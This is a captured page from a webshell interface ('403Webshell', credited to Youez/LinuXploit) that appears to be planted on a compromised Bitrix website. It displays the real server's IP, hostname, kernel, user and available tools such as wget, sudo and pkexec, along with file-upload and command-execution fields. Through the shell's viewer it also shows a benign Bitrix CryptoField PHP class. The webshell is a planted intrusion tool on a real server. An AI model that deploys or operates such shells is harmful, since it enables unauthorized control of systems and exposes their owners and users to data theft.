403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/socialservices/lib/encryptedtoken/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/socialservices/lib/encryptedtoken/cryptofield.php
<?php
namespace Bitrix\Socialservices\EncryptedToken;

use Bitrix\Main\Security\SecurityException;

class CryptoField extends \Bitrix\Main\ORM\Fields\CryptoField
{
	protected $encryptionComplete = false;
	protected $ivLength;

	public function __construct($name, $parameters = array())
	{
		if (isset($parameters['encryption_complete']))
		{
			$this->encryptionComplete = !!$parameters['encryption_complete'];
			unset($parameters['encryption_complete']);
		}
		if (!static::cryptoAvailable())
		{
			$parameters['crypto_enabled'] = false;
		}
		parent::__construct($name, $parameters);
		$this->ivLength = openssl_cipher_iv_length('aes-256-ctr');
	}

	public static function cryptoAvailable($key = '')
	{
		if (!\Bitrix\Main\Config\Option::get("socialservices", "allow_encrypted_tokens", false))
			return false;

		return parent::cryptoAvailable($key);
	}

	public function decrypt($data)
	{
		if ($this->encryptionComplete)
			return parent::decrypt($data);

		if($data == '')
			return $data;

		try
		{
			$value = base64_decode($data);
			if (false === $value) // not base64 decoded so not encrypted
				return $data;

			if (strlen($value) <= $this->ivLength) // too short to be encrypted
				return $data;

			$value = static::$cipher->decrypt($value, $this->cryptoKey);
			return $value;
		}
		catch(SecurityException $e)
		{
			return $data;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit